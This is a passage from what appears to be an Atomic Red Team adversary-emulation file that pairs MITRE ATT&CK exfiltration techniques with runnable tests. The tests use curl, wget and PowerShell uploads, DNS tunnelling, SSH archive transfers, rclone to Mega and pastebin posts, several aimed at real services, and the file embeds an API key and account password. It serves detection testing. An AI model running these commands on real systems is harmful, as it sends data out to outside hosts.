      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1567/001
        external_id: T1567.001
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1048.002:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - William Cain
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--8e350c1d-ac79-4b5c-bd4e-7476d7e84ec5
      type: attack-pattern
      created: '2020-03-15T15:34:30.767Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1048.002
        url: https://attack.mitre.org/techniques/T1048/002
      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        source_name: University of Birmingham C2
      modified: '2022-04-25T14:00:00.188Z'
      name: Exfiltration Over Alternative Protocol - Exfiltration Over Asymmetric
        Encrypted Non-C2 Protocol
      description: "Adversaries may steal data by exfiltrating it over an asymmetrically
        encrypted network protocol other than that of the existing command and control
        channel. The data may also be sent to an alternate network location from the
        main command and control server. \n\nAsymmetric encryption algorithms are
        those that use different keys on each end of the channel. Also known as public-key
        cryptography, this requires pairs of cryptographic keys that can encrypt/decrypt
        data from the corresponding key. Each end of the communication channels requires
        a private key (only in the procession of that entity) and the public key of
        the other entity. The public keys of each entity are exchanged before encrypted
        communications begin. \n\nNetwork protocols that use asymmetric encryption
        (such as HTTPS/TLS/SSL) often utilize symmetric encryption once keys are exchanged.
        Adversaries may opt to use these encrypted mechanisms that are baked into
        a protocol. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: exfiltration
      x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client
        sending significantly more data than it receives from a server). Processes
        utilizing the network that do not normally have network communication or have
        never been seen before are suspicious.(Citation: University of Birmingham
        C2) '
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Command: Command Execution'
      - 'File: File Access'
      - 'Network Traffic: Network Connection Creation'
      - 'Network Traffic: Network Traffic Content'
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1048.002
    atomic_tests:
    - name: Exfiltrate data HTTPS using curl windows
      auto_generated_guid: 1cdf2fb0-51b6-4fd8-96af-77020d5f1bf0
      description: 'Exfiltrate data HTTPS using curl to file share site file.io

        '
      supported_platforms:
      - windows
      input_arguments:
        input_file:
          description: Test file to upload
          type: path
          default: PathToAtomicsFolder/T1048.002/src/artifact
        curl_path:
          description: path to curl.exe
          type: path
          default: C:\Windows\System32\Curl.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Curl must be installed on system.

          '
        prereq_command: 'if (Test-Path #{curl_path}) {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://curl.se/windows/dl-8.4.0_6/curl-8.4.0_6-win64-mingw.zip" -Outfile "PathToAtomicsFolder\..\ExternalPayloads\curl.zip"
          Expand-Archive -Path "PathToAtomicsFolder\..\ExternalPayloads\curl.zip" -DestinationPath "PathToAtomicsFolder\..\ExternalPayloads\curl"
          Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\curl\curl-8.4.0_6-win64-mingw\bin\curl.exe" C:\Windows\System32\Curl.exe
      - description: "#{input_file} must be exist on system.\n"
        prereq_command: 'if (Test-Path "#{input_file}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{input_file}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1048.002/src/artifact" -OutFile "#{input_file}"
      executor:
        name: command_prompt
        elevation_required: false
        command: '#{curl_path} -k -F "file=@#{input_file}" https://file.io/

          '
    - name: Exfiltrate data HTTPS using curl freebsd,linux or macos
      auto_generated_guid: 4a4f31e2-46ea-4c26-ad89-f09ad1d5fe01
      description: 'Exfiltrate data HTTPS using curl to file share site file.io

        '
      supported_platforms:
      - macos
      - linux
      input_arguments:
        input_file:
          description: Test file to upload
          type: path
          default: PathToAtomicsFolder/T1048.002/src/artifact
      executor:
        name: bash
        elevation_required: false
        command: 'curl -F ''file=@#{input_file}'' -F ''maxDownloads=1'' -F ''autoDelete=true''
          https://file.io/

          '
    - name: Exfiltrate data in a file over HTTPS using wget
      auto_generated_guid: 7ccdfcfa-6707-46bc-b812-007ab6ff951c
      description: 'Exfiltrate data over HTTPS using wget --post-file method

        '
      supported_platforms:
      - linux
      input_arguments:
        input_file:
          description: Test data to upload
          type: path
          default: PathToAtomicsFolder/T1048.002/src/artifact
        endpoint_domain:
          description: Endpoint to send data to
          type: string
          default: https://example.com/
      executor:
        name: sh
        elevation_required: false
        command: 'wget --post-file="#{input_file}" --timeout=5 --no-check-certificate
          #{endpoint_domain} --delete-after

          '
    - name: Exfiltrate data as text over HTTPS using wget
      auto_generated_guid: 8bec51da-7a6d-4346-b941-51eca448c4b0
      description: 'Exfiltrate data over HTTPS using wget --post-data method

        '
      supported_platforms:
      - linux
      input_arguments:
        endpoint_domain:
          description: Endpoint to send data to
          type: string
          default: https://example.com/
      executor:
        name: sh
        elevation_required: false
        command: 'wget --post-data="msg=AtomicTestT1048.002" --timeout=5 --no-check-certificate
          #{endpoint_domain} --delete-after

          '
  T1041:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: Exfiltration Over C2 Channel
      description: Adversaries may steal data by exfiltrating it over an existing
        command and control channel. Stolen data is encoded into the normal communications
        channel using the same protocol as command and control communications.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: exfiltration
      x_mitre_contributors:
      - William Cain
      x_mitre_deprecated: false
      x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client
        sending significantly more data than it receives from a server). Processes
        utilizing the network that do not normally have network communication or have
        never been seen before are suspicious. Analyze packet contents to detect communications
        that do not follow the expected protocol behavior for the port that is being
        used. (Citation: University of Birmingham C2)'
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '2.2'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'File: File Access'
      - 'Network Traffic: Network Connection Creation'
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Traffic Flow'
      x_mitre_network_requirements: false
      type: attack-pattern
      id: attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d
      created: '2017-05-31T21:30:41.804Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1041
        external_id: T1041
      - source_name: University of Birmingham C2
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1041
    atomic_tests:
    - name: C2 Data Exfiltration
      auto_generated_guid: d1253f6e-c29b-49dc-b466-2147a6191932
      description: 'Exfiltrates a file present on the victim machine to the C2 server.

        '
      supported_platforms:
      - windows
      input_arguments:
        destination_url:
          description: Destination URL to post encoded data.
          type: string
          default: example.com
        filepath:
          description: The file which is being exfiltrated to the C2 Server.
          type: path
          default: "$env:TEMP\\LineNumbers.txt"
      executor:
        command: "if(-not (Test-Path #{filepath})){ \n  1..100 | ForEach-Object {
          Add-Content -Path #{filepath} -Value \"This is line $_.\" }\n}\n[System.Net.ServicePointManager]::Expect100Continue
          = $false\n$filecontent = Get-Content -Path #{filepath}\nInvoke-WebRequest
          -Uri #{destination_url} -Method POST -Body $filecontent -DisableKeepAlive\n"
        name: powershell
    - name: Text Based Data Exfiltration using DNS subdomains
      auto_generated_guid: c9207f3e-213d-4cc7-ad2a-7697a7237df9
      description: 'Simulates an adversary using DNS tunneling to exfiltrate data
        over a Command and Control (C2) channel.

        '
      supported_platforms:
      - windows
      input_arguments:
        dns_server:
          description: DNS server IP address or domain name.
          type: url
          default: dns.example.com
        exfiltrated_data:
          description: Data to be exfiltrated.
          type: string
          default: SecretDataToExfiltrate
        chunk_size:
          description: Size of each DNS query chunk (in characters).
          type: integer
          default: 63
      executor:
        command: |
          $dnsServer = "#{dns_server}"
          $exfiltratedData = "#{exfiltrated_data}"
          $chunkSize = #{chunk_size}

          $encodedData = [System.Text.Encoding]::UTF8.GetBytes($exfiltratedData)
          $encodedData = [Convert]::ToBase64String($encodedData)
          $chunks = $encodedData -split "(.{$chunkSize})"

          foreach ($chunk in $chunks) {
              $dnsQuery = $chunk + "." + $dnsServer
              Resolve-DnsName -Name $dnsQuery
              Start-Sleep -Seconds 5
          }
        name: powershell
  T1048:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: Exfiltration Over Alternative Protocol
      description: "Adversaries may steal data by exfiltrating it over a different
        protocol than that of the existing command and control channel. The data may
        also be sent to an alternate network location from the main command and control
        server.  \n\nAlternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any
        other network protocol not being used as the main command and control channel.
        Adversaries may also opt to encrypt and/or obfuscate these alternate channels.
        \n\n[Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048)
        can be done using various common operating system utilities such as [Net](https://attack.mitre.org/software/S0039)/SMB
        or FTP.(Citation: Palo Alto OilRig Oct 2016) On macOS and Linux <code>curl</code>
        may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data
        from a system.(Citation: 20 macOS Common Tools and Techniques)\n\nMany IaaS
        and SaaS platforms (such as Microsoft Exchange, Microsoft SharePoint, GitHub,
        and AWS S3) support the direct download of files, emails, source code, and
        other sensitive information via the web console or [Cloud API](https://attack.mitre.org/techniques/T1059/009)."
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: exfiltration
      x_mitre_contributors:
      - William Cain
      - Alfredo Abarca
      x_mitre_deprecated: false
      x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client
        sending significantly more data than it receives from a server). Processes
        utilizing the network that do not normally have network communication or have
        never been seen before are suspicious. Analyze packet contents to detect communications
        that do not follow the expected protocol behavior for the port that is being
        used. (Citation: University of Birmingham C2)'
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Office 365
      - SaaS
      - IaaS
      - Google Workspace
      - Network
      x_mitre_version: '1.4'
      x_mitre_data_sources:
      - 'Cloud Storage: Cloud Storage Access'
      - 'Network Traffic: Network Traffic Flow'
      - 'Command: Command Execution'
      - 'Network Traffic: Network Traffic Content'
      - 'Application Log: Application Log Content'
      - 'File: File Access'
      - 'Network Traffic: Network Connection Creation'
      x_mitre_network_requirements: false
      type: attack-pattern
      id: attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776
      created: '2017-05-31T21:30:44.720Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1048
        external_id: T1048
      - source_name: University of Birmingham C2
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
      - source_name: Palo Alto OilRig Oct 2016
        description: Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware
          Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.
        url: http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/
      - source_name: 20 macOS Common Tools and Techniques
        description: Phil Stokes. (2021, February 16). 20 Common Tools & Techniques
          Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.
        url: https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1048
    atomic_tests:
    - name: Exfiltration Over Alternative Protocol - SSH
      auto_generated_guid: f6786cc8-beda-4915-a4d6-ac2f193bb988
      description: |
        Input a domain and test Exfiltration over SSH

        Remote to Local

        Upon successful execution, sh will spawn ssh contacting a remote domain (default: target.example.com) writing a tar.gz file.
      supported_platforms:
      - macos
      - linux
      input_arguments:
        domain:
          description: target SSH domain
          type: url
          default: target.example.com
      executor:
        command: 'ssh #{domain} "(cd /etc && tar -zcvf - *)" > ./etc.tar.gz

          '
        name: sh
    - name: Exfiltration Over Alternative Protocol - SSH
      auto_generated_guid: 7c3cb337-35ae-4d06-bf03-3032ed2ec268
      description: |
        Input a domain and test Exfiltration over SSH

        Local to Remote

        Upon successful execution, tar will compress /Users/* directory and password protect the file modification of `Users.tar.gz.enc` as output.
      supported_platforms:
      - macos
      - linux
      input_arguments:
        user_name:
          description: username for domain
          type: string
          default: atomic
        password:
          description: password for user
          type: string
          default: atomic
        domain:
          description: target SSH domain
          type: url
          default: target.example.com
      executor:
        command: 'tar czpf - /Users/* | openssl des3 -salt -pass #{password} | ssh
          #{user_name}@#{domain} ''cat > /Users.tar.gz.enc''

          '
        name: sh
    - name: DNSExfiltration (doh)
      auto_generated_guid: c943d285-ada3-45ca-b3aa-7cd6500c6a48
      description: "DNSExfiltrator enables the transfer (exfiltration) of a file over
        a DNS request covert channel. This is basically a data leak testing tool allowing
        to exfiltrate data over a covert channel.\n!!! Test will fail without a domain
        under your control with A record and NS record !!! \nSee this github page
        for more details - https://github.com/Arno0x/DNSExfiltrator\n"
      supported_platforms:
      - windows
      input_arguments:
        password:
          description: Password used to encrypt the data to be exfiltrated
          type: string
          default: atomic
        domain:
          description: The domain name to use for DNS requests
          type: string
          default: target.example.com
        ps_module:
          description: DNSExfiltrator powershell ps_module
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\dnsexfil.ps1
        doh:
          description: Google or CloudFlare DoH (DNS over HTTP) server
          type: string
          default: google
        time:
          description: The time in milliseconds to wait between each DNS request
          type: string
          default: '500'
        encoding:
          description: Set to '-b32' to use base32 encoding of data. Might be required
            by some DNS resolvers.
          type: string
          default: 
      dependency_executor_name: powershell
      dependencies:
      - description: 'DNSExfiltrator powershell file must exist on disk at specified
          location (#{ps_module})

          '
        prereq_command: 'if (Test-Path "#{ps_module}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          IWR "https://raw.githubusercontent.com/Arno0x/DNSExfiltrator/8faa972408b0384416fffd5b4d42a7aa00526ca8/Invoke-DNSExfiltrator.ps1" -OutFile "#{ps_module}"
      executor:
        command: |
          Import-Module "#{ps_module}"
          Invoke-DNSExfiltrator -i "#{ps_module}" -d #{domain} -p #{password} -doh #{doh} -t #{time} #{encoding}
        name: powershell
  T1052.001:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - William Cain
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--a3e1e6c5-9c74-4fc0-a16c-a9d228c17829
      type: attack-pattern
      created: '2020-03-11T13:50:11.467Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1052.001
        url: https://attack.mitre.org/techniques/T1052/001
      modified: '2022-04-25T14:00:00.188Z'
      name: Exfiltration over USB
      description: Adversaries may attempt to exfiltrate data over a USB connected
        physical device. In certain circumstances, such as an air-gapped network compromise,
        exfiltration could occur via a USB device introduced by a user. The USB device
        could be used as the final exfiltration point or to hop between otherwise
        disconnected systems.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: exfiltration
      x_mitre_detection: Monitor file access on removable media. Detect processes
        that execute when removable media are mounted.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Drive: Drive Creation'
      - 'File: File Access'
      - 'Command: Command Execution'
      x_mitre_system_requirements:
      - Presence of physical medium or device
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1567.003:
    technique:
      modified: '2023-05-04T18:00:33.023Z'
      name: 'Exfiltration Over Web Service: Exfiltration to Text Storage Sites'
      description: "Adversaries may exfiltrate data to text storage sites instead
        of their primary command and control channel. Text storage sites, such as
        <code>pastebin[.]com</code>, are commonly used by developers to share code
        and other information.  \n\nText storage sites are often used to host malicious
        code for C2 communication (e.g., [Stage Capabilities](https://attack.mitre.org/techniques/T1608)),
        but adversaries may also use these sites to exfiltrate collected data. Furthermore,
        paid features and encryption options may allow adversaries to conceal and
        store data more securely.(Citation: Pastebin EchoSec)\n\n**Note:** This is
        distinct from [Exfiltration to Code Repository](https://attack.mitre.org/techniques/T1567/001),
        which highlight access to code repositories via APIs."
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: exfiltration
      x_mitre_contributors:
      - Harun Küßner
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Traffic Flow'
      type: attack-pattern
      id: attack-pattern--ba04e672-da86-4e69-aa15-0eca5db25f43
      created: '2023-02-27T22:51:27.101Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1567/003
        external_id: T1567.003
      - source_name: Pastebin EchoSec
        description: Ciarniello, A. (2019, September 24). What is Pastebin and Why
          Do Hackers Love It?. Retrieved April 11, 2023.
        url: https://web.archive.org/web/20201107203304/https://www.echosec.net/blog/what-is-pastebin-and-why-do-hackers-love-it
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1567.003
    atomic_tests:
    - name: Exfiltrate data with HTTP POST to text storage sites - pastebin.com (Windows)
      auto_generated_guid: c2e8ab6e-431e-460a-a2aa-3bc6a32022e3
      description: "This test uses HTTP POST to exfiltrate data to a remote text storage
        site. (pastebin)                             \nSee https://web.archive.org/web/20201107203304/https://www.echosec.net/blog/what-is-pastebin-and-why-do-hackers-love-it
        \               \n"
      supported_platforms:
      - windows
      input_arguments:
        api_key:
          description: Pastebin API key
          type: string
          default: 6nxrBm7UIJuaEuPOkH5Z8I7SvCLN3OP0
      executor:
        command: |
          $apiKey = "#{api_key}"
          $content = "secrets, api keys, passwords..."
          $url = "https://pastebin.com/api/api_post.php"
          $postData = @{
            api_dev_key   = $apiKey
            api_option    = "paste"
            api_paste_code = $content
          }
          $response = Invoke-RestMethod -Uri $url -Method Post -Body $postData
          Write-Host "Your paste URL: $response"
        name: powershell
        elevation_required: false
  T1567.002:
    technique:
      modified: '2023-09-15T19:11:47.547Z'
      name: 'Exfiltration Over Web Service: Exfiltration to Cloud Storage'
      description: "Adversaries may exfiltrate data to a cloud storage service rather
        than over their primary command and control channel. Cloud storage services
        allow for the storage, edit, and retrieval of data from a remote cloud storage
        server over the Internet.\n\nExamples of cloud storage services include Dropbox
        and Google Docs. Exfiltration to these cloud storage services can provide
        a significant amount of cover to the adversary if hosts within the network
        are already communicating with the service. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: exfiltration
      x_mitre_deprecated: false
      x_mitre_detection: Analyze network data for uncommon data flows (e.g., a client
        sending significantly more data than it receives from a server) to known cloud
        storage services. Processes utilizing the network that do not normally have
        network communication or have never been seen before are suspicious. User
        behavior monitoring may help to detect abnormal patterns of activity.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Connection Creation'
      - 'Network Traffic: Network Traffic Flow'
      - 'File: File Access'
      - 'Command: Command Execution'
      type: attack-pattern
      id: attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b
      created: '2020-03-09T15:04:32.767Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1567/002
        external_id: T1567.002
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1567.002
    atomic_tests:
    - name: Exfiltrate data with rclone to cloud Storage - Mega (Windows)
      auto_generated_guid: 8529ee44-279a-4a19-80bf-b846a40dda58
      description: |
        This test uses rclone to exfiltrate data to a remote cloud storage instance. (Mega)
        See https://thedfirreport.com/2022/06/16/sans-ransomware-summit-2022-can-you-detect-this/
      supported_platforms:
      - windows
      input_arguments:
        rclone_path:
          description: Directory of rclone.exe
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\T1567.002\rclone-v*\
        rclone_config_path:
          description: Path to rclone's config file (default should be fine)
          type: path
          default: "$env:appdata"
        dir_to_copy:
          description: Directory to copy
          type: string
          default: PathToAtomicsFolder\..\ExternalPayloads\T1567.002
        mega_user_account:
          description: Mega user account
          type: string
          default: atomictesting@outlook.com
        mega_user_password:
          description: Mega user password
          type: string
          default: vmcjt1A_LEMKEXXy0CKFoiFCEztpFLcZVNinHA
        remote_share:
          description: Remote Mega share
          type: string
          default: T1567002
      dependency_executor_name: powershell
      dependencies:
      - description: 'rclone must exist at (#{rclone_path})

          '
        prereq_command: 'if (Test-Path "#{rclone_path}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://downloads.rclone.org/rclone-current-windows-amd64.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\rclone.zip"
          Expand-archive -path "PathToAtomicsFolder\..\ExternalPayloads\rclone.zip" -destinationpath "PathToAtomicsFolder\..\ExternalPayloads\T1567.002\" -force
      executor:
        command: |
          New-Item #{rclone_config_path}\rclone -ItemType directory
          New-Item #{rclone_config_path}\rclone\rclone.conf
          cd "#{rclone_path}"
          .\rclone.exe config create #{remote_share} mega
          set-Content #{rclone_config_path}\rclone\rclone.conf "[#{remote_share}] `n type = mega `n user = #{mega_user_account} `n pass = #{mega_user_password}"
          .\rclone.exe copy --max-size 1700k "#{dir_to_copy}" #{remote_share}:test -v
        cleanup_command: |
          cd "#{rclone_path}"
          .\rclone.exe purge #{remote_share}:test
          .\rclone.exe config delete #{remote_share}:
          Remove-Item #{rclone_config_path}\rclone -recurse -force -erroraction silentlycontinue
          cd c:\
          Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\rclone.zip"
          Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\T1567.002" -recurse -force
        name: powershell
        elevation_required: false
  T1030:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd
      type: attack-pattern
      created: '2017-05-31T21:30:34.523Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1030
        external_id: T1030
      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        source_name: University of Birmingham C2
      modified: '2021-04-29T14:49:39.188Z'
      name: Data Transfer Size Limits
      description: An adversary may exfiltrate data in fixed size chunks instead of
        whole files or limit packet sizes below certain thresholds. This approach
        may be used to avoid triggering network data transfer threshold alerts.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: exfiltration
      x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client
        sending significantly more data than it receives from a server). If a process
        maintains a long connection during which it consistently sends fixed size
        data packets or a process opens connections and sends fixed sized data packets
        at regular intervals, it may be performing an aggregate data transfer. Processes
        utilizing the network that do not normally have network communication or have
        never been seen before are suspicious. Analyze packet contents to detect communications
        that do not follow the expected protocol behavior for the port that is being
        used. (Citation: University of Birmingham C2)'
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Network Traffic: Network Connection Creation'
      - 'Network Traffic: Network Traffic Flow'
      x_mitre_is_subtechnique: false
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1030
    atomic_tests:
    - name: Data Transfer Size Limits
      auto_generated_guid: ab936c51-10f4-46ce-9144-e02137b2016a
      description: 'Take a file/directory, split it into 5Mb chunks

        '
      supported_platforms:
      - macos
      - linux
      input_arguments:
        file_name:
          description: File name
          type: path
          default: T1030_urandom
        folder_path:
          description: Path where the test creates artifacts
          type: path
          default: "/tmp/T1030"
      dependency_executor_name: sh
      dependencies:
      - description: The file must exist for the test to run.
        prereq_command: 'if [ ! -f #{folder_path}/#{file_name} ]; then exit 1; else
          exit 0; fi;

          '
        get_prereq_command: 'if [ ! -d #{folder_path} ]; then mkdir -p #{folder_path};
          touch #{folder_path}/safe_to_delete; fi; dd if=/dev/urandom of=#{folder_path}/#{file_name}
          bs=25000000 count=1

          '
      executor:
        command: |
          cd #{folder_path}; split -b 5000000 #{file_name}
          ls -l #{folder_path}
        cleanup_command: 'if [ -f #{folder_path}/safe_to_delete ]; then rm -rf #{folder_path};
          fi;

          '
        name: sh
    - name: Network-Based Data Transfer in Small Chunks
      auto_generated_guid: f0287b58-f4bc-40f6-87eb-692e126e7f8f
      description: Simulate transferring data over a network in small chunks to evade
        detection.
      supported_platforms:
      - windows
      input_arguments:
        source_file_path:
          description: Path to the source file to transfer.
          type: path
          default: "[User specified]"
        destination_url:
          description: URL of the destination server.
          type: url
          default: http://example.com
        chunk_size:
          description: Size of each data chunk (in KB).
          type: integer
          default: 1024
      executor:
        name: powershell
        elevation_required: false
        command: |
          $file = [System.IO.File]::OpenRead(#{source_file_path})
          $chunkSize = #{chunk_size} * 1KB
          $buffer = New-Object Byte[] $chunkSize

          while ($bytesRead = $file.Read($buffer, 0, $buffer.Length)) {
              $encodedChunk = [Convert]::ToBase64String($buffer, 0, $bytesRead)
              Invoke-WebRequest -Uri #{destination_url} -Method Post -Body $encodedChunk
          }
          $file.Close()
  T1537:
    technique:
      modified: '2024-04-11T15:53:00.577Z'
      name: Transfer Data to Cloud Account
      description: "Adversaries may exfiltrate data by transferring the data, including
        through sharing/syncing and creating backups of cloud environments, to another
        cloud account they control on the same service.\n\nA defender who is monitoring
        for large transfers to outside the cloud environment through normal file transfers
        or over command and control channels may not be watching for data transfers
        to another account within the same cloud provider. Such transfers may utilize
        existing cloud provider APIs and the internal address space of the cloud provider
        to blend into normal traffic or avoid data transfers over external network
        interfaces.(Citation: TLDRSec AWS Attacks)\n\nAdversaries may also use cloud-native
        mechanisms to share victim data with adversary-controlled cloud accounts,
        such as creating anonymous file sharing links or, in Azure, a shared access
        signature (SAS) URI.(Citation: Microsoft Azure Storage Shared Access Signature)\n\nIncidents
        have been observed where adversaries have created backups of cloud instances
        and transferred them to separate accounts.(Citation: DOJ GRU Indictment Jul
        2018) "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: exfiltration
      x_mitre_contributors:
      - Praetorian
      - Darin Smith, Cisco
      - ExtraHop
      - Gabriel Currie
      x_mitre_deprecated: false
      x_mitre_detection: "Monitor account activity for attempts to share data, snapshots,
        or backups with untrusted or unusual accounts on the same cloud service provider.
        Monitor for anomalous file transfer activity between accounts and to untrusted
        VPCs. \n\nIn AWS, sharing an Elastic Block Store (EBS) snapshot, either with
        specified users or publicly, generates a ModifySnapshotAttribute event in
        CloudTrail logs.(Citation: AWS EBS Snapshot Sharing) Similarly, in Azure,
